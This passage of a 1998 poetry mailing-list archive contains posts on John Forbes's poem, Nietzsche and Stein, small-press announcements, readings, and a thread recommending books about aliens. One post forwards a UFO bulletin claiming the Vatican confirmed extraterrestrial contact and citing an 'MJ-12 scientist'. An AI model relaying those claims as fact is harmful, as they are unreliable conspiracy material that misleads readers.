means your face looks different in the water
& even tho'you'd feel at home down there
each moment spent at one remove, anywhere
between the mammal & the sponge,
you know you'd miss a particular cassette
idle tears or a glass of gin
& be irked by the serious options
a changeless life presents e.g. 'Minor
poet, conspicuously dishonest' would look funny
on a plaque screwed to a tree

while the blue trace of your former life
suggests an exception
generations will end up chanting; for them
the parts of speech will need explaining
                not lakes or sleep or sex,
or the dumb poets of the past
who, being lyrical, missed out on this.

==========
 from
 John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
 tel ([redacted] fax ([redacted]
   http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
 Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

115. david bromige
re the age of plastic
Mon 6 Apr 1998

Thanks to John Tranter for posting this nifty poem by the late John Forbes. "Minor poet, conspicuously dishonest" indeed would look funny, even screwed into a brick wall--the brick wall of the building I was born in, for instance. And it doesnt stop there. It's been amusing imagining which friends and enemies' birthplaces a like plaque could be attached to--who would be able to take it in fun, and who wouldnt.

It is the case I am too often flippant. "Plastique", which ours is also the Age of, is nothing to laugh at. Persons undone by credit card debt likewise. Then there's the difficulty we have disposing of plastic once we've had enough of it.

But Forbes' poem had more than that sentence to it. The "parts of speech" bit for instance. Who was John Forbes and why havent I heard of him?

John Tranter, are you the man who played my ukelele 25 years ago? David

↑ Index

116. Wolsak
query to poetics list
Mon 6 Apr 1998

I need help finding ground and/or e-addresses for the following people:

Fanny Howe

Susan Wheeler

Marjorie Welish

Elaine Equi

Lydia Davis

Brenda Hillman

Any assistance you can lend in this matter will be very helpful. Thanks.

Tom Beckett
[redacted]

↑ Index

117. r. drake
Re: SPD
Mon 6 Apr 1998

[redacted]
>Anyone have an 800 number for Small Press Distribution?
>
>Thanks.
>
>Burt Kimmelman
>[redacted]

↑ Index

118. Burt Kimmelman
SPD
Mon 6 Apr 1998

Anyone have an 800 number for Small Press Distribution?

Thanks.

Burt Kimmelman
[redacted]

↑ Index

119. Jordan Davis
"*open bond*"
Mon 6 Apr 1998

Keston's posting Andrea Brady's poems' sent me back to her '96 chapbook, _Open Bond_. Here are some lines:

> so this mesh hardly horoscopes me
> and cell line. still don't say, sallow chatter
> of where it is and will be. a doppelganger's
> a room for breachborn. here I and you
> touch every ugly atom of the day,
> like our first suckling, each hand-cell tender as
> our share. you weaves our neural net for me:
> a metro remedy of the catholic announcement,
> yes to the haunt you under another heading.

and in case you thought she was not of _this world_:

> Snagged on chocolate donuts he stares down
> the hearts of trees where isohedron ice
> tandems branch to branch to chest.

If the list were not a "dry state" I am certain I would post her poem "Migration."

Ay! how strange a time that one misses another fifty beautiful poems if the one on watch is asleep.

break through bureaucratic resis-
tance to take bold action. Gunter

permanent international war crimes
unlikely to produce concrete

Black is the beauty of the brightest day

↑ Index

120. Cadaly

Server and/or Printer Names

Mon 6 Apr 1998

A floor of Goldman Sachs had Disney characters. Bankers Trust had mostly Greek, Roman, and Nordic gods. I HAVE seen writers' names, but I don't remember where.

You could tell which business managers were alive by the names.

They're pretty much all numbers now.

Rgds,
Catherine Daly

↑ Index

121. Christopher W. Alexander
Re: Server and/or Printer Names
Mon 6 Apr 1998

---

we used to have a scheme based on the Wizard of Oz,
though the only ones I remember were EmeraldCity &
Toto... the servers I work with now seem to have no
scheme whatsoever, or only the remains of one -
Choengmon (a beach in Vietnam), Alexandria, Alex,
Chronos, Digilib...

somewhere on campus is a set of servers named for
Swedish foods.

Cadaly says:
> You could tell which business managers were alive by the names.
> They're pretty much all numbers now.

as opposed to dust, presumably.
what could be more appropriate?

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

122. Rachel Levitsky
Re: Server and/or Printer Names
Mon 6 Apr 1998

Catharine,

I like your email nick name, Cadaly. Whenever I look at it, I see, Calalily. Despite the D.

best,
Rachel Levitsky

↑ Index

123. Rachel Levitsky
Re: Oops!
Mon 6 Apr 1998

please scuze the last post. it was intended as backchannel.

RDL

↑ Index

124. Loss Pequen~o Glazier
Harryette Mullen Author Page
Mon 6 Apr 1998

A Harryette Mullen author page is now available at the EPC. It is featured
on the EPC home page
http://writing.upenn.edu/epc
If anyone knows of material that should be linked to this page, or has
essays, etc. you might want me to add to the page, please let me know at
[redacted]
Thanks.

↑ Index

125. Daniel Zimmerman
Re: SPD
Mon 6 Apr 1998

Burt Kimmelman [redacted] wrote:
>
> Anyone have an 800 number for Small Press Distribution?
>
> Thanks.
>
> Burt Kimmelman
> [redacted]

[redacted]

↑ Index

126. Alan Myouka Sondheim
Re: Time changes (fwd)
Mon 6 Apr 1998

---

expand the hours
perhaps 22 will do in which case
you can slide the rest around

those two won't be missed
you can have your time and beat it to
the punch clock which doesn't mind
putting out for a minute
or 120 of them

keep it running past
a couple of hours on the road
let's go slide around

↑ Index

127. Charles Bernstein
Frank Kuensler reading
Mon 6 Apr 1998

Friends of the late poet Frank Kuensler read their own poetry and his

Tuesday, April 28, 8pm

Chez Albert
at Clemente Soto Velez
107 Suffolk Street (F train: Delancy)
info: [redacted]

If you are interested in participating give Emily Kuensler a call at the number above.

Further details will be posted at a later time.

↑ Index

128. Michael J. Kelleher
a l y r i c m a i l e r 3
Mon 6 Apr 1998

Attention Poets and Friends!

a l y r i c m a i l e r NUMBER 3 featuring:

Color

(An Essay)

by Eleni Sikelianos

is up and running at:

http//writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm

Eleni Sikelianos is currently the co-curator with Lisa Jarnot of the wednesday night reading series at St. Mark's. Her recent publications include _Poetics of the X_ (1995) _A Book of Ease/Unease_ (with artist Peter Cole) and _The Book of Tendons_ (Post-Apollo Press 1997). Forthcoming titles include _The Blue Coat_ (Trembling Ladders) and _The Lover's Numbers_ (Seeing Eye Books). She currently lives on the Isle Of Manhottoes where she co-edits Psalm 151.

Upcoming issues include an alyric prose issue featuring 1000's by Laird Hunt, to be followed by work from Heather Fuller, a sound file and text poem for three voices by Carrie Tocci, a critical isssue on the work of Ben Friedlander (critical submissions and queries welcome at the above e-mail address), and work by Heather Ramsdell.

Enjoy.

Mike

<HTML>
Attention Poets and Friends!

<P>a l y r i c m a i l e r   NUMBER 3 featuring:

<P>Color

<P>(An Essay)

<P>by Eleni Sikelianos

<P>is up and running at:

<P><A HREF="http://writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm">http//writing.upenn.edu/AandL/english/pubs/spc/alyricmailer/alyric.htm</A>

<P>Eleni Sikelianos is currently the co-curator with Lisa Jarnot of the wednesday night reading series at St. Mark's. Her recent publications include _Poetics of the X_ (1995) _A Book of Ease/Unease_ (with artist Peter Cole) and _The Book of Tendons_ (Post-Apollo Press 1997). Forthcoming titles include _The Blue Coat_ (Trembling Ladders) and _The Lover's Numbers_ (Seeing Eye Books). She currently lives on the Isle Of Manhottoes where she co-edits Psalm 151.

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for three voices by Carrie Tocci, a critical isssue on the work of Ben Friedlander (critical submissions and queries welcome at the above e-mail address), and work by Heather Ramsdell.

<P>Enjoy.

<P>Mike</HTML>

----------EF66E0AF8854734C6A459BC3--

↑ Index

129. Burt Kimmelman
Re: SPD
Mon 6 Apr 1998

R. Drake, David K. et al.

Thanks for you help. got it!

burt

↑ Index

130. Maria Damon (Maria Damon)
Re: Server and/or Printer Names
Mon 6 Apr 1998

At 11:21 AM 4/6/98, Rachel Levitsky wrote:
>Catharine,
>
>I like your email nick name, Cadaly. Whenever I look at it, I see,
>Calalily. Despite the D.
>
>best,
>Rachel Levitsky

i see Kodaly, or rather hear it.

↑ Index

131. Ellay Phillips
Re: Another by Andrea Brady
Mon 6 Apr 1998

Thanks Keston Sutherland for the info about the work of Andrea Brady. Eye don't often encounter work that strikes me so on first experience-- the last time was a year ago when eye first saw/heard/ read the polymorphous stylings of Wendy Kramer, whose work is the most synaesthetic eye think eye have ever

encountered in that it not only must be read but also viewed and heard in order to experience its full effect. Brady's work might not be visual, but it strikes more of the sensory imagination which eye am all for! Thanks again.

Ellay Phillips

↑ Index

132. laura and jeff

Re: disobey: how is it that a woman is the only genius of our age

Mon 6 Apr 1998

---

oh dear...
poor nietzche again getting the blame that isn't his...
kinda like blamming the bible (which speaks out agsint violence, and for tolerance) for the crusades. it's the people interpreting who are to blame.
i guess we should note that if it wasn't for nietzsche there also wouldn't be modern art (including our beloved poetics) in the way we know it.
individuality... nihilistic questioning... etc. these are nietzche.
so: no. she was right (as she so often is).
too bad so few listen.
jeff.

>>how can we bring democracy to these germans, she didn't hesitate a second
>>responding, "teach them disobediance!"
>
>
>
>well, she was wrong, wasn't she? Nietzsche tried to teach 'them' exactly
>that, and became a textbook in the Third Reich. The nsdap were pretty
>disobedient, all things considered (versailles, Munich putsch etc). "how
>is it that a woman is the only genius of our age": it isn't. Maybe she
>should have hesitated.
>

> Listen,
> if the stars are lit
> it means there is someone who needs it.
> It means it is essential
> that every evening
> at least one star should ascend
> over the crest of the building.

↑ Index

133. michael corbin
Re: Rose's mourning
Mon 6 Apr 1998

Keston Sutherland wrote:

> *can I recommend Gillian Rose's excellent book*
> *_Mourning Becomes the Law_ (Cambridge University Press), as a refreshed*
> *and perfectly considerate address of many of the questions and attitudes*
> *that are often taken for granted? Her term "holocaust piety" (her family*
> *were Jewish exiles) has made me think --*

I agree, provocative. Even though I don't share her hegelian hopes, she dissimulates not at all the darkness one can give over to without them hopes. I was haunted for a while by the books companion volume, _Love's Work: A Reckoning with Life_ when a friend, like Rose, faced their untimely death. Facing squarely, (a geometric truth? triangularly?), I guess.

I do think we try and live in that city between Athens and Jerusalem. Perambulating Potter's Field.

More, I was wondering (maybe needing, wanting to write) what is our Trauerspiel?

mc

↑ Index

134. Keston Sutherland
Re: disobey: how is it that a woman is the only genius of our age
Mon 6 Apr 1998

---

wasn't blaming nietzsche for anything, besides the question of Stein's right/wrongness turns neither on his repute nor on his achievement, regarding which I agree with you. Still, I believe that so offhand a remark, despite its obvious expandability and the circumstances of its occurrence, can hardly be 'right' given the complexity and significance of what it hopes to address. So we far western europeans and americans just 'teach them' to be disobedient, do we? What an arrogant confidence, what charmless and laconic esprit. Maybe she's right for the lover of politically sonorous epigrams, but for a nation of people? For the Germans? How the fuck can she be 'right'?

↑ Index

135. Karen Kelley
Alien thoughts
Mon 6 Apr 1998

Hi all,

This is perhaps a strange request: last night I had the most remarkable dream about extraterrestrials (something I've never dreamed about before) perhaps masquerading as god figures, but it occurs to me that I've always been too cynical to do more than assume extraterrestrials must exist. Does anyone have any reading to suggest? I'm not particularly interested in "proof" stories or "scary alien" stories, perhaps something more along the lines of what they might represent to us philosophically/psychologically?

Karen

↑ Index

136. k. lederer
Re: Alien thoughts
Mon 6 Apr 1998

I love the way Juliana Spahr depicts the effects of "alien" beings on our beings in her book RESPONSE (Sun & Moon, 1996). Notley has some new poems that deal with aliens (I think I saw them in GARE du NORD #2).

There are some scary books by Whitley Streiber--one of them is called COMMUNION and is very scary. I'm still afraid of the dark! (The most scary thing is that his aliens can "get you" even if someone else is in your bed--or even if there's a cat or dog around... They can put others into trances and stop time and stuff like that...).

The movie version, which stars Christopher Walken,is very scary--but also surprisingly philosophical in its approach and in its implications... I highly recommend it.....

Best,
Katy

On Mon, 6 Apr 1998, Karen Kelley wrote:

> *Hi all,*
>
> *This is perhaps a strange request: last night I had the most remarkable dream about extraterrestrials (something I've never dreamed about before) perhaps masquerading as god figures, but it occurs to me that I've always been too cynical to do more than assume extraterrestrials must exist. Does anyone have any reading to suggest? I'm not particularly interested in "proof" stories or "scary alien" stories,*

> *perhaps something more along the lines of what they might represent to us philosophically/psychologically?*
>
> *Karen*

↑ Index

137. **Keston Sutherland**
Re: disobey: how is it that a woman is the only genius of our age
Mon 6 Apr 1998

besides, N. explicitly condemns "nihilistic" thinking as a sickness - it's one of the few things he's unequivocal about. To think that he gave us that as a gift is, surely, to misinterpret. Wouldn't the blameworthy interpretors have misinterpreted Stein's comment also?

↑ Index

138. **laura and jeff**
Re: disobey: how is it that a woman is the only genius of our age
Mon 6 Apr 1998

well the arrogence lies with the silly person who asked the question.
but the answer is a good one. how do you get people to think? teach them to disobey, question, etc.
but we're all agreeing here i think, so this is basically fruitless.
been defeding nietzche to my wife so much lately that i guess i'm just in the habit.
=)
jeff.

>wasn't blaming nietzsche for anything, besides the question of Stein's
>right/wrongness turns neither on his repute nor on his achievement,
>regarding which I agree with you. Still, I believe that so offhand a
>remark, despite its obvious expandability and the circumstances of its
>occurrence, can hardly be 'right' given the complexity and significance of
>what it hopes to address. So we far western europeans and americans just
>'teach them' to be disobedient, do we? What an arrogant confidence, what
>charmless and laconic esprit. Maybe she's right for the lover of
>politically sonorous epigrams, but for a nation of people? For the
>Germans? How the fuck can she be 'right'?
>

Listen,
if the stars are lit
it means there is someone who needs it.
It means it is essential
that every evening
at least one star should ascend
over the crest of the building.

↑ Index

139. laura and jeff

Re: disobey: how is it that a woman is the only genius of our age

Mon 6 Apr 1998

---

i meant "nihilism" as a means to destroy in order to rebuid, which nietzche
did support. this thinking eventually turned into existentialism, etc. etc.
blah blah.
=)
jeff.

>besides, N. explicitly condemns "nihilistic" thinking as a sickness - it's
>one of the few things he's unequivocal about. To think that he
>gave us that as a gift is, surely, to misinterpret. Wouldn't the
>blameworthy interpretors have misinterpreted Stein's comment also?
>

Listen,
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↑ Index

140. Steven Marks

Re: Server and/or Printer Names

Mon 6 Apr 1998

On Mon, 6 Apr 1998, Maria Damon (Maria Damon) wrote:

> At 11:21 AM 4/6/98, Rachel Levitsky wrote:
> >Catharine,
> >

> >I like your email nick name, Cadaly. Whenever I look at it, I see,
> >Calalily. Despite the D.
> >
> >best,
> >Rachel Levitsky
>
> i see Kodaly, or rather hear it.
>
i see Caddy. The car? or the little girl in The Sound and the Fury?

↑ Index

141. Steven Marks
Re: Alien thoughts
Mon 6 Apr 1998

Try _Broken Images, Broken Selves: Dissociative Narratives in Clinical Practice_ (Brunner/Mazel), edited by Stanley Krippner and Susan Marie Powers. My friend, Susan, has an essay in it on Alien Abduction Narratives.

you might also want to try that controversial Harvard prof who counsels alien abductees. Can't remember his name. And i'm not picking on harvard.

best,
Steven

> *On Mon, 6 Apr 1998, Karen Kelley wrote: >*
> *Hi all,*
>
> *This is perhaps a strange request: last night I had the most remarkable dream about extraterrestrials (something I've never dreamed about before) perhaps masquerading as god figures, but it occurs to me that I've always been too cynical to do more than assume extraterrestrials must exist. Does anyone have any reading to suggest? I'm not particularly interested in "proof" stories or "scary alien" stories, perhaps something more along the lines of what they might represent to us philosophically/psychologically?*
>
> *Karen*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

142. John Tranter
John Forbes and ukeleles
Tue 7 Apr 1998

David Bromige wrote:

"But Forbes' poem had more than that sentence to it.
"The "parts of speech" bit for instance.
"Who was John Forbes and why havent I heard of him?
"John Tranter, are you the man who played my ukelele
"25 years ago? David"

John Forbes was a brilliant Australian poet and a friend of mine who died in late January, basically from living too fast. He reminded me of Ted Berrigan in too many ways. The line "Minor poet, conspicuously dishonest" is I believe a deliberate midquote of a line of Basil Bunting's, who said that he wanted as his epitaph the phrase"Minor poet, conspicuously honest." To an Australian ear, a phrase like that needed the piss taken out of it.

You can read more about John Forbes in the special memorial issue of my free Internet magazine Jacket, Issue Number 3, at the address below.
No, I've never played the ukelele. There is an Australian poet, Richard Tipping, who is noted for his gift of entertaining roomfulls of people on that instrument. Perhaps you're thinking of him.
best,
JT
from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

143. Christopher Reiner
Avec Books
Tue 7 Apr 1998

Posting this for Avec Books:

Avec Books congratulates Keith Waldrop, winner of the America Award in Literature (poetry category) for _Silhouette of the Bridge_ (Avec Books 1997).

New from Avec Books:

Jackknife & Light by Michelle Murphy

The poems of _Jackknife & Light_ (which was a finalist in the National Poetry Series of 1996) give their meanings up slowly, with a languorous precision and care. They aspire to-and demand-what Murphy defines as a unique "method of looking" and reading...and thinking.

Murphy's writings have appeared in a wide range of publications, from literary journals such as ZYZZYVA and Five Fingers Review to the cyber-mag, Hot-Wired. Her poem, "13 Versions of Surrender" (included in Jackknife & Light) has served as the basis of a song cycle by Bay Area composer Erling Wold, produced in Germany in 1997.

Paperback. 95 pages. List price: $10; ISBN: 1-880713-11-X. Distributed by Ingram Book Company (titles unlimited program); Baker & Taylor; Small Press Distribution and (as of mid-April) www.amazon.com

Advance praise for _Jackknife & Light_:

"Mouthed, Michelle Murphy's poems are mouthed onto the page. They're wet with the pears, apples, mangoes of an indeterminate landscape, part myth, part memory, "smoke on everything." The great tenderness of her sensibility! In Jackknife & Light's insistently meditative prose poems, where past and present overturn each other, and narrative skin is peeled into fragments and run-ons, Murphy brightlines human intimacies-between lovers, parents and children, the dead and the surviving-with a remarkable formal inventiveness. "If I had just one story," she writes, "I'd rather starve than have to live by it." Fortunately, she has enough imagination, strangeness, and verve to nourish us all. --Forrest Gander

"...Michelle Murphy's lucid chord-clusters ("mornings of straight edged white sky, the strict angles of a harpsichord") are instilled with the hush of ardor: a passion caught in the act of knowing itself." --Andrew Joron

"Tread carefully here," Michelle Murphy warns us, for "all is not exactly what it seems." Murphy's primary subject in this, her brilliant first book, is the beauty that becomes delicate "when suddenly & endlessly gone." Yet her poems, through their graceful confusions of secular and spiritual languages, are prayers that would take "our legacy of doubt" and somehow "make faith durable." Murphy provides us with "a method of looking" and listening that is intensely subjective and attuned to silence, as well as to the vagaries of a language that can "grow more feral than imagined." Her finales of seem describe a

lost yet sayable past, and promise "the original shape of our future . . . a wilderness we never outgrow." -Susan Schultz

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144. **dbkk**
Re: Alien thoughts
Tue 7 Apr 1998

Karen Kelley wrote . . .

> *This is perhaps a strange request: last night I had the most remarkable dream about extraterrestrials (something I've never dreamed about before) perhaps masquerading as god figures, but it occurs to me that I've always been too cynical to do more than assume extraterrestrials must exist. Does anyone have any reading to suggest? I'm not particularly interested in "proof" stories or "scary alien" stories, perhaps something more along the lines of what they might represent to us philosophically/psychologically?*

Katy's already suggested Spahr's book "Response" which is a good one. Let me recommend a novel "Mysterious Skin" by a young New Yorker Scott Heim, it is really terrific and is totally about the psychological appeal of aliens, why we need them, etc. When I was almost 30 I came to "realize" that I had been abducted by aliens briefly in childhood, and I drew upon this experience to write a memoir "Santa," which now appears in my book "Little Men" (which of course you don't want to miss in any case). I got some of it right, but Scott and Juliana get more of it.

--Kevin Killian <---- space "cadet" fanboy

↑ Index

145. **Karen Kelley**
Re: Alien thoughts
Tue 7 Apr 1998

I have _Santa_ right here on my desk (the Leave Books version). It's killer!

[redacted] wrote:

> *Karen Kelley wrote . . .*
>
> *This is perhaps a strange request: last night I had the most remarkable dream about extraterrestrials (something I've never dreamed about before) perhaps masquerading as god figures, but it occurs to me that I've always been too cynical to do more than assume extraterrestrials must exist. Does anyone have any reading to suggest? I'm not particularly interested in "proof" stories or "scary alien" stories, perhaps something more along the lines of what they might represent to*

> *us philosophically/psychologically?*
>
> *Katy's already suggested Spahr's book "Response" which is a good one. Let me recommend a novel "Mysterious Skin" by a young New Yorker Scott Heim, it is really terrific and is totally about the psychological appeal of aliens, why we need them, etc. When I was almost 30 I came to "realize" that I had been abducted by aliens briefly in childhood, and I drew upon this experience to write a memoir "Santa," which now appears in my book "Little Men" (which of course you don't want to miss in any case). I got some of it right, but Scott and Juliana get more of it.*
>
> *--Kevin Killian <---- space "cadet" fanboy*

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146. **d.j. huppatz**

Re: Alien thoughts

Tue 7 Apr 1998

---

hi karen

i've just started doing some research for a lecture i said i'd give about ufo design. my take is this: if ufos travel in space & time differently to our human craft, why do they need to be streamlined? given ufos jump between dimensions or whatever it is they're supposed to do, they don't really need to be streamlined. given the aliens, being so technologically advanced, could build their spaceships in an infinite number of ways (say, an art nouveau ship with a late victorian hatch patterning) why choose a design that is specifically american 1930s/40s? answer goes something like this: because that's when ufo sightings really took off - the late 1940s. so the design of their spaceships is modelled on the latest most "technologically advanced" design we can think of, streamlining.

from what little i know, in those days (the 40s), aliens were a lot friendlier. a typical abduction would be thus: farmer bob stops his pickup in the middle of nowhere one dark & stormy night when two tall blonde (hmmm!) venusians called him over for a ride in their spaceship. after a quick tour of the planet/solarsystem/galaxy, they'd lecture farmer bob about the dangers of nuclear energy, the environmental crisis and issues about world peace before dropping him off at the pickup again (hoping of course he would spread the word about these impt issues, after all someone has to do it now that god's dead).

it was generally not until the 80's that the aliens became nasty. interestingly, in the 1950s/60s/70s as rockets & telescopes reached out further into our solar system & beyond, so the aliens came from further afield. i guess it's no longer possible to claim to meet farmer bob's venusians. pity ...

danny
melbourne

At 05:20 PM 4/6/98 -0700, Karen Kelley wrote:
>Hi all,
>
>This is perhaps a strange request: last night I had the most remarkable
>dream about extraterrestrials (something I've never dreamed about
>before) perhaps masquerading as god figures, but it occurs to me that
>I've always been too cynical to do more than assume extraterrestrials
>must exist. Does anyone have any reading to suggest? I'm not
>particularly interested in "proof" stories or "scary alien" stories,
>perhaps something more along the lines of what they might represent to
>us philosophically/psychologically?
>
>Karen
>
>

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147. Miekal And
Re: Alien thoughts
Tue 7 Apr 1998

> *Subject: VATICAN ADMITS ON NATIONAL TELEVISION THAT EXTRATERRESTRIAL CONTACT IS REAL*
>
> *Monsignor Corrado Balducci, a Vatican theologian insider close to the P--e has gone on national Italian television five times in recent months to proclaim that extraterrestrial contact is a real phenomenon. The prelate announced that the Vatican is receiving much information about extraterrestrials and their contacts with humans from its Nuncios (embassies) in various countries, such as Mexico, Chile and Venezuela. Monsignor Balducci said that he is on a Vatican commission looking into extraterrestrial encounters, and how to cope with the emerging general realization of extraterrestrial contact.*
> *Balducci provided the Cat--lic Church's analysis of extraterrestrials, emphasizing that extraterrestrial encounters "are NOT demonic, they are NOT due to psychological impairment, they are NOT a case of entity attachment, but these encounters deserve to be studied carefully."*
> *Since Monsignor Balducci is a Vatican expert exorcist, and since the Cathol-- Church has historically demonized many new phenomena that were poorly understood, his proclaiming the Vatican's non-censure of these encounters is all the more remarkable.*
> *Balducci revealed to a visiting American clinical professional from*

> *the Academy of Clinical Close Encounter Therapists, that the Vatican is closely following this phenomenon. Parallel information from MJ-12 scientist Dr. Michael Wolf suggests that the Vatican is concerned that it will have a major doctrinal updating situation on its hands when extraterrestrial contact becomes authoritatively announced by world governments over the next several years.*
>
> *Forwarded by Richard Boylan, Ph.D.*
> *Richard Boylan, Ph.D., LLC 2826 O Street, Suite 2, Sacramento, CA 95816, USA.* [redacted] *E-mail:* [redacted] *; Primary website: http://www.ufonetwork.com/boylan/ Author: Close Extraterrestrial Encounters, Labored Journey To The Stars and Project Epiphany.*

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148. Henry
Re: Alien thoughts
Tue 7 Apr 1998

Aliens were even friendlier in Biblical times. They helped this obscure tribe of nomads escape from enslavement in Pharaoh land and gave them lots of advice on keeping their act together while they wandered around in the desert eating "manna" (space flakes?). They gave them a little model of their ship called the "ark of the covenant" which was dangerous to touch (for humans, anyway) and sent out light rays and so on. But, as a card-carrying Martian myself, who gets his information from the other side of a singularity horizon, take it from me: ALIENS R US. Reporting in from East Atlantis, I remain...

- Henry "Captain Fatso" Gould [fat for a martian, that is]

↑ Index

149. Keston Sutherland
Re: John Forbes and ukeleles
Tue 7 Apr 1998

Bunting actually wrote (for an encyclopaedia-of-writers entry) "minor poet, not conspicuously dishonest"

I too admired John Forbes, he's sadly missed

k

↑ Index

150. Susan Wheeler
Reading Announcement
Tue 7 Apr 1998

Reading Thursday, May 9 at 8:00:

Susan Wheeler
Ann Lauterbach
Tom Disch
Richard Howard
George Bradley
David Lehman

(for publication of The Best of the Best American Poetry)

NYU Main Building
100 Washington Square East
Room 703

Susan Wheeler
[redacted]
voice/fax [redacted]

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151. Gary Sullivan
Rain Taxi Vol. 3 No. 1
Tue 7 Apr 1998

Everyone:

The latest issue of Rain Taxi (Carolyn Kuebler, Randall Heath & Eric Lorber, eds.) is out. This issue's contents include:

Interview with Lynne Tillman (by Nikki Dillon), Robert Kelly on Charles Olson, essays on Bertolt Brecht's poetry & stories (by William Waltz), Patrick McGrath's fiction (by Kelly Everding), Doug Rice's essay "The Spirit of Ignorance (an open response to the United States Senate)," S.P. Healey's essay "Poets on Poetry," the next installment of the serialized cartoon "The New Life" (by yours truly), and reviews of dozens of books & graphic novels including Charles Alexander on Mei-mei Berssenbrugge & Kiki Smith's _Endocrinology_, Rickki Ducornet on Rosamond Purcell's _Special Cases_, David Matlin on Carolee Schneemann's _More Than Meat Joy_, Brian Evanson on Jim Jarmusch, John Yau & Harold Schechter's _Original Sin: the Visionary Art of Joe Coleman_ . . . and much, much more.

If your local bookstore carries this exceptional quarterly review, it's free. If not, you can subscribe (one year/4 issues $10, domestic, $20 international):

Rain Taxi
P.O. Box 3840
Minneapolis, MN 55403

http://www.raintaxi.com/

If you've made it to the bottom of this e-mail, & you'd like this latest issue, backchannel me your address & I'll be happy to send one along.

Be well,

Gary Sullivan
[redacted]

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152. William Marsh
NYC in May
Tue 7 Apr 1998

---

dear list

i'll be in the NYC area the week of May 16-23 / wondering if anyone has advance warning of events, readings, parties, etc. / much appreciate the help

bill marsh

- -
William Marsh
http://bmarsh.dtai.com
National University
http://www.nu.edu/index.html

snailmail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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153. Rachel Levitsky
Re: Alien thoughts
Tue 7 Apr 1998

Anyone else got Atlantis poems??

--Rachel Democracy

Atlantis

The radio would have me believe the Draconians
are the source of trouble but
action becomes understood as escaping

in space ships
from nuclear warheads
they mark change,

which may once have been understood as catastrophe,
and will later mark crop circles into corn fields of South America.

The Atlanteans and the Draconians are equally to blame for the disaster but somehow the Draconians fade and the Atlanteans rise. They survive though their descendents. (The Europeans here get a bad rap.)

Everyone wants to feel good so we speak symbolically.

"COW!"

Speaking from the car.

Speaking in the car, she refered to black and white, light and dark. I remembered my etiquette and bounced back to "defining terms."

The city is now a well-lit surburbia
and the grass
its hairy tentacles.

The other way to see grass,
is as a subject for research
focused on width
and length.

***

As a feminist I don't insist on speaking about Nature,

that is the job of the men in space ships.
I don't say that as a manhater,
but I did not invent nuclear fission,
that was done on the computer.

I was busy in the bathroom. Defining terms.

***

It was dark under hazy stars.
I told them, grasping at the breast has nothing to do with genetics.
They gasped at the logic, rolling backwards onto the grass.

What was grabbing them?
They feared it might be me so, defined their terms.

***

You would not believe the squeals it could make I mean it could really squeal.

***

Seriously, it was a ploy.
I was trying to avoid being arrested because her questioning is exhausting.
I am not above being driven to drink or into realms of unrecoverable fantasy,
& can made to believe almost anything at the S/M bar
where I dream of climbing the stage for the light of it.
I might be tempted to cry in front of my torturer or
piss into the mainstream.

All that explaining
for one whose imagination
is a polymer sponge,
a mean machine of plasticene,
a freight train roiling Lemur variegatus.

We are back to black.

↑ Index

154. Keston Sutherland
Re: NYC in May
Tue 7 Apr 1998

- I think I'm reading there on the 17th, at Zinc Bar [?]

On Tue, 7 Apr 1998, William Marsh wrote:

> *dear list*
>
> *i'll be in the NYC area the week of May 16-23 / wondering if anyone has advance warning of events, readings, parties, etc. / much appreciate the help*
>
> *bill marsh*
>
> *- -*
> *William Marsh*
> *http://bmarsh.dtai.com*
> *National University*
> *http://www.nu.edu/index.html*
>
> *snailmail: 1860 PB Dr. #4*
> *San Diego, CA 92109*

> -

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155. **Christopher W. Alexander**
Re: Alien thoughts
Tue 7 Apr 1998

Karen wrote:
> This is perhaps a strange request: last night I had the most remarkable
> dream about extraterrestrials

jeez, I saw Network-whatever in the header, and I
thought this was coming over our network/micro-
computing listserv - I just about had a heart attack!

I don't have any reading to suggest that directly treats
the concept of extra-terrestrials (was going to mention
KK's "Santa", but...), but re

> *what they might represent to us philosophically/psychologically?*

I'm thinking it might be useful to read Pynchon's V.,
which, no, doesn't involve lizard-skinned ETs that
devour human and animal life - but I think it cld be
taken as indicative what they *can* represent to us,
that in order to make sense of the novel (with all
it's beautiful obsessing about the quotidian Outside),
American television had to turn it into a story about
such... Of course, that read (i.e., novel as against tv
movie/series) is also a story about ratings, the horrid
state of art in public discourse, and a Reagan-era
"cold war"-ish rhetoric of containment carried over
&/or revived from the preceeding decades (War of the
Worlds, good-guy State Department versus big bad
Soviets, Star Wars, etc.).

Anyway, I think it cld be useful...

you cld look at this against Enemy Mine - what
year was that? or, at the (very far) other extreme,
Alien and Alien 2 (I didn't get past 2...) - interest
ing that the first one is quite shadowy and spooky,
whereas the 2nd is much more action-oriented,
and both of a kind of bodily fear, bodily malfunction -

it's all gotten so bodily/sexual (and sometimes
BDSM-sexy) in the 80s and 90s...

I was always rather fond of In Search Of, with
Leonard Nemoy. of course if you really wanted
to think about it you might h

[it's at this point the writing breaks off - the only
clue as to subject's whereabouts being 3 evenly-
spaced circles burnt in the grass outside his office
& a note that says "back after lunch"...]

chris - a damsel in "eustress"

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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156. daniel bouchard

Re: NYC in May

Tue 7 Apr 1998

At 12:07 PM 4/7/98 -0400, Keston Sutherland wrote:
> - I think I'm reading there on the 17th, at Zinc Bar [?]
>

It's not a "zinc bar," it's an opium den.

<<<<<<>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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157. Pritchett,Patrick
Re: Alien thoughts
Tue 7 Apr 1998

